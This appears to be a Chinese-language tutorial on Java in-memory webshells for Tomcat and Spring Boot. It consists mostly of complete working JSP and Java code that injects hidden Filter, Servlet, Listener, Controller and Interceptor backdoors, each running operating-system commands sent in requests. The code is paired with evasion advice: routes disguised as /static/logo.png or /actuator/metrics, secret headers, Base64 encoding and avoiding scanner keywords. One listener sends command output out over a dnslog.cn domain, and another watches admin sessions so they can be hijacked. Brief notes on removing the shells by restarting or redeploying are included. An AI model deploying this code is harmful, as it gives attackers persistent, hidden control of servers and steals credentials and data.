| <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.util.Map" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="java.util.Scanner" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.servlet.http.HttpServletRequest" %> <%@ page import="java.util.Base64" %> <%@ page import="java.net.InetAddress" %> <html> <head> <title>shell</title> </head> <body> <%! public class Shellfilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { if (!(servletRequest instanceof HttpServletRequest)) { filterChain.doFilter(servletRequest, servletResponse); return; }
HttpServletRequest req = (HttpServletRequest) servletRequest; String encodedCmd = req.getHeader("CMD"); String encodedshell = req.getHeader("Shell"); System.out.println(); if (encodedCmd == null || encodedCmd.trim().isEmpty()) { filterChain.doFilter(servletRequest, servletResponse); return; }
byte[] decodedBytes = Base64.getDecoder().decode(encodedCmd); String cmd = new String(decodedBytes).trim();
byte[] decodedBytes1 = Base64.getDecoder().decode(encodedshell); String shell = new String(decodedBytes1).trim();
if (cmd.isEmpty()) { filterChain.doFilter(servletRequest, servletResponse); return; }
if (shell.isEmpty()) { filterChain.doFilter(servletRequest, servletResponse); return; }
System.out.println(shell); boolean isLinux = !shell.contains(".");
String[] cmds = isLinux ? new String[]{shell, "-c", cmd} : new String[]{shell, "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; String bs64output = Base64.getEncoder().encodeToString(output.getBytes()); PrintWriter out = servletResponse.getWriter(); out.println(bs64output);
out.flush(); out.close(); }
@Override public void destroy() { } } %> <% ServletContext servletContext = request.getServletContext(); Field applicationField = servletContext.getClass().getDeclaredField("context"); applicationField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
FilterDef filterDef = new FilterDef(); filterDef.setFilterClass(Shellfilter.class.getName()); filterDef.setFilterName("Shellfilter"); filterDef.setFilter(new Shellfilter()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("Shellfilter"); filterMap.addURLPattern("/static/logo.png"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMap(filterMap);
Class configclass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor configconstructor = configclass.getDeclaredConstructor(Context.class,FilterDef.class); configconstructor.setAccessible(true); FilterConfig filterConfig = (FilterConfig) configconstructor.newInstance(standardContext,filterDef);
Field configsfield = standardContext.getClass().getDeclaredField("filterConfigs"); configsfield.setAccessible(true); Map filterConfigs = (Map) configsfield.get(standardContext); filterConfigs.put("Shellfilter",filterConfig); %> </body> </html>
|

销毁内存马
前面说到销毁内存马的本质是破坏挂载点。filter内存马的挂载点是filter链。
filter链在web应用启动时就被创建,而注入内存马是动态加入到filter链,只要重启web应用,filter链就会重新构建,filter内存马也就被销毁了,这只会影响当前web应用。重启tomcat也可,但是会影响别的web应用。

Servlet内存马
- 挂载点:Servlet 容器 (
ServletContext
)。
- 原理:攻击者通过
ServletContext
的 API(如addServlet
),动态注册一个恶意的javax.servlet.Servlet
。这个恶意 Servlet 可以绑定到一个特定的 URL 路径,从而创建新的、隐蔽的后门路由。
- 企业级危害:能够创建全新的、不显眼的访问路径,实现远程命令执行、文件上传/下载等功能。由于其不依赖现有业务逻辑,仅需知道新的 URL 路径即可访问,隐蔽性较强。
内存马注入
- 正常情况下,Servlet 需要在
web.xml
中声明,或使用 @WebServlet
注解,在应用启动时由容器加载。
- 但 Tomcat 的 StandardContext(代表一个 Web 应用上下文)提供了 createWrapper()、addChild()、addServletMappingDecoded() 等方法,允许在运行时动态添加 Servlet。
tomcat环境下的内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.Wrapper" %>
<%! public class Shell2Servlet extends HttpServlet { public void init(ServletConfig servletConfig) throws ServletException {}
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); }
public void destroy() {} } %> <% ServletContext servletContext = request.getServletContext(); Field applicationField = servletContext.getClass().getDeclaredField("context"); applicationField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext context = (StandardContext) standardContextField.get(applicationContext); Wrapper wrapper = context.createWrapper(); wrapper.setName("Shell2Servlet"); wrapper.setServletClass(Shell2Servlet.class.getName()); wrapper.setServlet(new Shell2Servlet()); context.addChild(wrapper); context.addServletMappingDecoded("/shell2", "Shell2Servlet", false); %> </body> </html>
|

与filter内存马的区别
在标准的 Java Servlet 规范中,同一个 URL 路径通常只能由一个 Servlet 处理
如果存在相同URL的Servlet,后注册的servlet会覆盖前面的servlet,也就是说每个 URL 映射(如 /api/test
)只会被其最后一个注册的servlet处理
这不同于filter,只需要放行,相同URL的filter都会被执行。
所以Servlet内存马通常绑定一个所有正常业务URL之外的路径,才不会覆盖正常业务的Servlet从而提高隐蔽性。
提高servlet内存马隐蔽性
与filter内存马方法大致相同
- 通过header传递参数
- 参数和响应进行编码
- 回显伪装为json
- dns外带回显
- 避免在代码中出现 “cmd.exe”、”sh”、”Runtime” 等敏感词
- 直接实现
Servlet
接口
很多检测工具会扫描 extends HttpServlet
的匿名类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="javax.servlet.Servlet" %> <%@ page import="javax.servlet.ServletConfig" %> <%@ page import="javax.servlet.ServletRequest" %> <%@ page import="javax.servlet.ServletResponse" %> <%@ page import="javax.servlet.ServletException" %>
<html>
<body> <%! public class HiddenShell implements Servlet { public void init(ServletConfig config) throws ServletException {}
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd == null || cmd.trim().isEmpty()) { res.getWriter().println("No command provided."); return; }
boolean isLinux = true; String osName = System.getProperty("os.name"); if (osName != null && osName.toLowerCase().contains("win")) { isLinux = false; }
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; try { InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner scanner = new Scanner(in).useDelimiter("\\A"); String output = scanner.hasNext() ? scanner.next() : ""; PrintWriter out = res.getWriter(); out.println(output); out.flush(); } catch (Exception e) { res.getWriter().println("Error: " + e.getMessage()); } }
public void destroy() {} public ServletConfig getServletConfig() { return null; } public String getServletInfo() { return "Hidden Shell"; } } %>
<% try { ServletContext sc = request.getServletContext(); Field appCtxField = sc.getClass().getDeclaredField("context"); appCtxField.setAccessible(true); ApplicationContext appCtx = (ApplicationContext) appCtxField.get(sc);
Field stdCtxField = appCtx.getClass().getDeclaredField("context"); stdCtxField.setAccessible(true); StandardContext stdCtx = (StandardContext) stdCtxField.get(appCtx);
Wrapper wrapper = stdCtx.createWrapper(); wrapper.setName("MetricsCollector"); wrapper.setServletClass(HiddenShell.class.getName()); wrapper.setServlet(new HiddenShell());
stdCtx.addChild(wrapper); stdCtx.addServletMappingDecoded("/actuator/metrics", "MetricsCollector", false);
out.println("Shell registered at /actuator/metrics?cmd=..."); } catch (Exception e) { e.printStackTrace(); } %> </body> </html>
|
servlet内存马销毁
前面说到销毁内存马的本质是破坏挂载点。servlet内存马的挂载点是Servlet 容器(ServletContext
) 。
重新部署war->加载新的ServletContext
或者重启tomcat

Listener内存马
- 挂载点:
ServletContextListener
、ServletRequestListener
等监听器。
- 原理:攻击者注册一个恶意的
Listener
,利用其在特定生命周期事件(如应用启动、请求初始化、会话创建/销毁等)触发的特性来执行恶意逻辑。
- 企业级危害:持久性较好。特别是
ServletContextListener
,它可以在应用启动时执行初始化恶意代码,甚至植入其他内存马。ServletRequestListener
则可用于对每个请求进行监控或修改。
listener
Listener的监听对象主要有三种类型。
(1)ServletContext域对象——实现ServletContextListener接口
- 触发时机:Web 应用启动(
contextInitialized
)或关闭(contextDestroyed
)
作用:利用ServletContextListener监听器在创建ServletContext域对象时完成一些想要初始化的工作或者执行自定义任务调度
(2)ServletRequest域对象——实现ServletRequestListener接口
- 触发时机:每次 HTTP 请求开始(
requestInitialized
)和结束(requestDestroyed
)
- 没有
ServletResponse
,无法直接回显命令执行结果
(3)HttpSession域对象——实现HttpSessionListener接口
- 触发时机:会话创建(
sessionCreated
)或销毁(sessionDestroyed
)
- 不适合命令执行类内存马,可用于监控管理员登录(利用权限来执行敏感操作,获取数据)
ServletContextListener
ServletContextListener
的作用是监听 Web 应用的启动/销毁(contextInitialized
/ contextDestroyed
)。
- 它 没有
service()
方法,无法接收 HTTP 请求参数。
所以其无法命令执行,一般作为内存马的一个补充,当其他已经存在的内存马被发现后通过重启web应用或者tomcat时,通过ServletContextListener
内存马在其重启后触发再次自动注入一个新的内存马
但是不能通过反射实现,通过反射注入的ServletContextListener
是注入当前web应用的内存,重启或者重新部署就会销毁
这就需要写入到.class
文件到WEB-INF/classes/
等目录才能实现持久化重启时调用,但是这违背了内存马无文件落地的优势
下面实际上是servlet内存马
严格来说,它更接近“Servlet 注入型内存马”,但利用了 ServletContextListener 的代码结构。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| <%@ page import="javax.servlet.*" %> <%@ page import="javax.servlet.http.*" %> <%@ page import="java.lang.reflect.*" %> <%@ page import="java.io.*" %> <%@ page contentType="text/html;charset=UTF-8" %> <% if (application.getAttribute("shell_installed") != null) { out.println("Shell already installed."); return; }
try { HttpServlet evilServlet = new HttpServlet() { protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException { resp.setContentType("text/plain;charset=UTF-8"); String cmd = req.getParameter("cmd"); if (cmd == null) { resp.getWriter().println("Usage: ?cmd=whoami"); return; } try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "UTF-8")); String line; while ((line = br.readLine()) != null) { resp.getWriter().println(line); } br.close(); p.waitFor(); } catch (Exception e) { resp.getWriter().println("Error: " + e.toString()); } } };
ServletContext sc = request.getServletContext(); Field contextField = sc.getClass().getDeclaredField("context"); contextField.setAccessible(true); Object appCtx = contextField.get(sc);
Field stdContextField = appCtx.getClass().getDeclaredField("context"); stdContextField.setAccessible(true); Object stdContext = stdContextField.get(appCtx);
Method createWrapperMethod = stdContext.getClass().getDeclaredMethod("createWrapper"); createWrapperMethod.setAccessible(true); Object wrapper = createWrapperMethod.invoke(stdContext);
wrapper.getClass().getMethod("setServlet", Servlet.class).invoke(wrapper, evilServlet); wrapper.getClass().getMethod("setName", String.class).invoke(wrapper, "DynamicShell");
stdContext.getClass().getMethod("addChild", Class.forName("org.apache.catalina.Container")).invoke(stdContext, wrapper);
Method addMappingMethod = null; try { addMappingMethod = stdContext.getClass().getMethod("addServletMappingDecoded", String.class, String.class); } catch (NoSuchMethodException e) { addMappingMethod = stdContext.getClass().getMethod("addServletMapping", String.class, String.class); } addMappingMethod.setAccessible(true); addMappingMethod.invoke(stdContext, "/shell", "DynamicShell");
application.setAttribute("shell_installed", true); out.println("Success! Access /shell?cmd=whoami"); } catch (Exception e) { e.printStackTrace(new PrintWriter(out)); } %>
|
ServletRequestListener
会在filter之前执行,并且不会拦截请求(也就是所有请求都只是经过ServletRequestListener
,不影响后面filter
、servlet
的执行),所以不能够有回显到页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| 1. 创建 ServletRequest / ServletResponse 对象 │ ▼ 2. ➤ **ServletRequestListener.requestInitialized()** ← 最早! │ ▼ 3. 执行 Filter Chain(按 web.xml 或注解顺序) │ - Filter1.doFilter() │ - Filter2.doFilter() │ - ... ▼ 4. 调用目标 Servlet.service()(或 JSP) │ ▼ 5. Filter Chain 返回(逆序执行 chain.doFilter() 之后的代码) │ ▼ 6. 响应提交(flush、close) │ ▼ 7. ➤ **ServletRequestListener.requestDestroyed()** ← 最晚!
|
无回显可以反弹shell或者dnslog外带
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.servlet.*" %> <%@ page import="java.lang.reflect.*" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.net.InetAddress" %> <%@ page import="java.util.Base64" %>
<% String DNSLOG_DOMAIN = "ifsjj6.dnslog.cn"; ServletRequestListener srl = new ServletRequestListener() { @Override public void requestInitialized(ServletRequestEvent sre) { try { String cmd = sre.getServletRequest().getParameter("cmd"); if (cmd != null && !cmd.trim().isEmpty()) { boolean isWin = System.getProperty("os.name").toLowerCase().contains("win"); Process p = Runtime.getRuntime().exec(isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd}); InputStream in = p.getInputStream(); Scanner scanner = new Scanner(in).useDelimiter("\\A"); String output = scanner.hasNext() ? scanner.next().trim() : "null";
if (output.contains("\n")) { output = output.split("\n")[0]; } output = output.replaceAll("[^a-zA-Z0-9._-]", "_"); if (output.length() > 50) { output = output.substring(0, 50); }
String subdomain = output + "." + System.currentTimeMillis() / 1000;
try { InetAddress.getByName(subdomain + "." + DNSLOG_DOMAIN); } catch (Exception ignored) { }
System.out.println("[DNSLog] Triggered: " + subdomain + "." + DNSLOG_DOMAIN); } } catch (Exception e) { } }
@Override public void requestDestroyed(ServletRequestEvent sre) {} };
ServletContext ctx = request.getServletContext(); Field appCtxField = ctx.getClass().getDeclaredField("context"); appCtxField.setAccessible(true); ApplicationContext appCtx = (ApplicationContext) appCtxField.get(ctx);
Field stdCtxField = appCtx.getClass().getDeclaredField("context"); stdCtxField.setAccessible(true); StandardContext stdCtx = (StandardContext) stdCtxField.get(appCtx);
stdCtx.addApplicationEventListener(srl);
%>
|

ServletRequestListener会监听所有url,包括404,可以通过特殊header,或者特殊路径、伪装静态资源来提高隐蔽性,减少对业务的影响。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| @Override public void requestInitialized(ServletRequestEvent sre) { try { if (!(sre.getServletRequest() instanceof HttpServletRequest)) { return; } HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); String cmd = req.getParameter("cmd"); String ua = req.getHeader("User-Agent"); if (cmd == null || !ua.contains("Mozilla/5.0 (Evil)")) { return; }
Process p = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd}); p.waitFor(3, java.util.concurrent.TimeUnit.SECONDS);
} catch (Exception e) { } }
|
HttpSessionListener
不适合命令执行类内存马,可用于监控管理员登录(利用权限来执行敏感操作,获取数据)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137
| <%@ page import="javax.servlet.*" %> <%@ page import="javax.servlet.http.*" %> <%@ page import="java.lang.reflect.*" %> <%@ page import="java.io.*" %> <%@ page import="java.util.*" %> <%@ page contentType="text/html;charset=UTF-8" %> <% if (application.getAttribute("admin_monitor_installed") != null) { out.println("Admin monitor already active."); return; }
try { HttpSessionListener monitor = new HttpSessionListener() { @Override public void sessionCreated(HttpSessionEvent se) { HttpSession session = se.getSession(); new Thread(() -> { try { for (int i = 0; i < 20; i++) { Thread.sleep(500);
Object user = session.getAttribute("user"); Object username = session.getAttribute("username"); Object role = session.getAttribute("role"); Object isAdmin = session.getAttribute("isAdmin");
boolean isAdminUser = false; String info = "";
if (role != null && (role.toString().toLowerCase().contains("admin") || "1".equals(role.toString()))) { isAdminUser = true; info = "role=" + role; } else if (username != null && username.toString().equalsIgnoreCase("admin")) { isAdminUser = true; info = "username=" + username; } else if (user != null && user.toString().toLowerCase().contains("admin")) { isAdminUser = true; info = "user=" + user; } else if (isAdmin != null && "true".equals(isAdmin.toString())) { isAdminUser = true; info = "isAdmin=true"; }
if (isAdminUser) { System.err.println("[+] Admin login detected! " + info + ", SessionID: " + session.getId());
logToFile("Admin Session Hijack", "SessionID: " + session.getId() + ", Info: " + info);
try { ServletContext ctx = session.getServletContext(); InputStream is = ctx.getResourceAsStream("/WEB-INF/web.xml"); if (is != null) { StringWriter writer = new StringWriter(); IOUtils.copy(is, writer, "UTF-8"); logToFile("web.xml content", writer.toString()); is.close(); } } catch (Exception e) { e.printStackTrace(); }
break; } } } catch (Exception e) { e.printStackTrace(); } }).start(); }
@Override public void sessionDestroyed(HttpSessionEvent se) { }
private void logToFile(String title, String content) { try { String path = System.getProperty("java.io.tmpdir") + "/admin_monitor_" + System.currentTimeMillis() + ".log"; try (FileWriter fw = new FileWriter(path)) { fw.write("=== " + title + " ===\n"); fw.write(content); } System.err.println("[*] Log saved to: " + path); } catch (Exception e) { e.printStackTrace(); } } };
%> <%! public static class IOUtils { public static void copy(InputStream input, Writer output, String encoding) throws IOException { InputStreamReader in = new InputStreamReader(input, encoding); char[] buffer = new char[1024]; int n; while ((n = in.read(buffer)) != -1) { output.write(buffer, 0, n); } } } %> <% ServletContext sc = request.getServletContext(); Field appctxField = sc.getClass().getDeclaredField("context"); appctxField.setAccessible(true); Object appctx = appctxField.get(sc);
Field stdctxField = appctx.getClass().getDeclaredField("context"); stdctxField.setAccessible(true); Object stdctx = stdctxField.get(appctx);
Method addListener = stdctx.getClass().getDeclaredMethod("addApplicationEventListener", Object.class); addListener.setAccessible(true); addListener.invoke(stdctx, monitor);
application.setAttribute("admin_monitor_installed", true); out.println("✅ Admin login monitor installed. Waiting for privileged user..."); } catch (Exception e) { e.printStackTrace(new PrintWriter(out)); } %>
|
listener内存马销毁
前面说到销毁内存马的本质是破坏挂载点。
在 Tomcat 中,所有动态注册的 Listener(包括 ServletContextListener
、HttpSessionListener
、ServletRequestListener
等)都会被存储在:
1
| StandardContext.applicationEventListenersList
|
到该数组删除对应的listener
重新部署war
或者重启tomcat

Spring类
Spring Controller 内存马
- 挂载点:Spring MVC
Controller
(通过RequestMappingHandlerMapping
)。
- 原理:对于 Spring MVC 应用,攻击者通过反射操作 Spring 框架的核心组件
RequestMappingHandlerMapping
,动态注册一个恶意Controller
Bean。这使得攻击者可以为恶意功能注册一个全新的 URL 路由,使其看起来就像应用中合法的接口。
- 企业级危害:高度针对 Spring 应用,能够无缝融入 Spring 路由体系,创建隐蔽的后门 API 接口,实现远程命令执行、WebShell 等功能,难以通过传统代码审计发现。
内存马利用
Spring MVC 的请求处理依赖于 RequestMappingHandlerMapping
(处理 @RequestMapping
、@GetMapping
等注解的 Controller),它维护了一个 URL 路径 → Controller 方法 的映射表(handlerMethods
)。
Spring Boot 2.x(使用 javax.servlet)
Spring Boot 3.x(使用 jakarta.servlet)
Spring Boot 2.x
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package com.example.demo;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.PrintWriter; import java.lang.reflect.Method;
@RestController public class InjectMemshellController {
@Autowired private ApplicationContext applicationContext;
@GetMapping("/makememshell") public String inject(HttpServletRequest request, HttpServletResponse response) { try { org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping handlerMapping = applicationContext.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
Object evilController = new Object() { public void handle(HttpServletRequest req, HttpServletResponse resp) throws Exception { resp.setContentType("text/plain;charset=UTF-8"); PrintWriter out = resp.getWriter(); String cmd = req.getHeader("X-Cmd"); if (cmd == null || cmd.isEmpty()) { out.println("Usage: curl -H 'X-Cmd: aWQ=' http://target/memshell"); return; } String decoded = new String(java.util.Base64.getDecoder().decode(cmd)); Process p; if (System.getProperty("os.name").toLowerCase().contains("win")) { p = Runtime.getRuntime().exec("cmd.exe /c " + decoded); } else { p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", decoded}); } java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; s.close(); out.println(output); } };
Method method = evilController.getClass().getDeclaredMethod("handle", HttpServletRequest.class, HttpServletResponse.class); org.springframework.web.servlet.mvc.method.RequestMappingInfo mapping = org.springframework.web.servlet.mvc.method.RequestMappingInfo .paths("/memshell") .methods(org.springframework.web.bind.annotation.RequestMethod.GET) .build();
handlerMapping.registerMapping(mapping, evilController, method);
return " Spring Controller 内存马注入成功!\n访问 /memshell,Header: X-Cmd=Base64(命令)"; } catch (Exception e) { e.printStackTrace(); return " 注入失败: " + e.getMessage(); } } }
|
Spring Boot 3.x
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package com.example.demo;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import java.io.PrintWriter; import java.lang.reflect.Method;
@RestController public class InjectMemshellController {
@Autowired private ApplicationContext applicationContext;
@GetMapping("/makememshell") public String inject(HttpServletRequest request, HttpServletResponse response) { try { org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping handlerMapping = applicationContext.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
Object evilController = new Object() { public void handle(HttpServletRequest req, HttpServletResponse resp) throws Exception { resp.setContentType("text/plain;charset=UTF-8"); PrintWriter out = resp.getWriter(); String cmd = req.getHeader("X-Cmd"); if (cmd == null || cmd.isEmpty()) { out.println("Usage: curl -H 'X-Cmd: aWQ=' http://target/memshell"); return; } String decoded = new String(java.util.Base64.getDecoder().decode(cmd)); Process p; if (System.getProperty("os.name").toLowerCase().contains("win")) { p = Runtime.getRuntime().exec("cmd.exe /c " + decoded); } else { p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", decoded}); } java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; s.close(); out.println(output); } };
Method method = evilController.getClass().getDeclaredMethod("handle", HttpServletRequest.class, HttpServletResponse.class); org.springframework.web.servlet.mvc.method.RequestMappingInfo mapping = org.springframework.web.servlet.mvc.method.RequestMappingInfo .paths("/memshell") .methods(org.springframework.web.bind.annotation.RequestMethod.GET) .build();
handlerMapping.registerMapping(mapping, evilController, method);
return " Spring Controller 内存马注入成功!\n访问 /memshell,Header: X-Cmd=Base64(命令)"; } catch (Exception e) { e.printStackTrace(); return " 注入失败: " + e.getMessage(); } } }
|

spring intercetor 内存马
- 挂载点:Spring MVC Interceptor(通过
RequestMappingHandlerMapping
的 adaptedInterceptors
字段)。
- 原理:对于 Spring MVC 应用,攻击者通过反射获取 Spring 上下文中的
RequestMappingHandlerMapping
实例,并修改其父类 AbstractHandlerMapping
中的 adaptedInterceptors
列表,动态插入一个恶意的 HandlerInterceptor
实现。该拦截器可在请求处理的 preHandle
阶段执行任意代码(如命令执行、回显 WebShell 等),且对所有经由 Spring MVC 路由的请求生效,无需新增 URL 路径。
- 企业级危害:高度适配 Spring 应用架构,无需修改磁盘文件或注册新接口,隐蔽性强;恶意逻辑嵌入在正常请求流程中,可绕过基于 URL 白名单或接口审计的安全检测,实现持久化、低感知的远程控制,对传统 WAF 和代码审计工具具有极强的绕过能力。
HandlerInterceptor
接口的3个核心回调方法
- preHandle( ):在 Controller 方法执行 之前 调用,其返回值表示是否中断后续操作,返回 true 表示继续向下执行,返回 false 表示中断后续操作。
- postHandle( ):在 Controller 方法执行 之后、视图渲染 之前 调用,可以通过此方法对请求域中的模型和视图做进一步的修改。此时业务逻辑已执行完毕,但响应尚未提交
- afterCompletion( ):整个请求处理完成 之后(包括视图渲染),无论是否发生异常,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。
内存马
在绝大多数 Interceptor 内存马实现中,会选择 preHandle()
作为挂载点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| package com.example.demo;
import org.springframework.web.context.WebApplicationContext; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import java.lang.reflect.Field; import java.util.List;
public class InterceptorMemShell {
public static void inject() throws Exception { ServletRequestAttributes attrs = (ServletRequestAttributes) RequestContextHolder.currentRequestAttributes(); HttpServletRequest request = attrs.getRequest(); WebApplicationContext context = (WebApplicationContext) request.getServletContext() .getAttribute("org.springframework.web.servlet.FrameworkServlet.CONTEXT.dispatcherServlet");
RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);
HandlerInterceptor evilInterceptor = new HandlerInterceptor() { @Override public boolean preHandle(HttpServletRequest req, HttpServletResponse resp, Object handler) throws Exception { if ("letmein".equals(req.getHeader("X-Cmd-Secret"))) { String cmd = req.getParameter("cmd"); if (cmd != null && !cmd.trim().isEmpty()) { try { Process p = Runtime.getRuntime().exec(cmd); java.io.BufferedReader reader = new java.io.BufferedReader( new java.io.InputStreamReader(p.getInputStream()) ); StringBuilder output = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { output.append(line).append("\n"); } resp.getWriter().println(output.toString()); resp.getWriter().flush(); return false; } catch (Exception e) { resp.getWriter().println("Error: " + e.toString()); return false; } } } return true; } };
Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class .getDeclaredField("adaptedInterceptors"); field.setAccessible(true); @SuppressWarnings("unchecked") List<HandlerInterceptor> interceptors = (List<HandlerInterceptor>) field.get(handlerMapping);
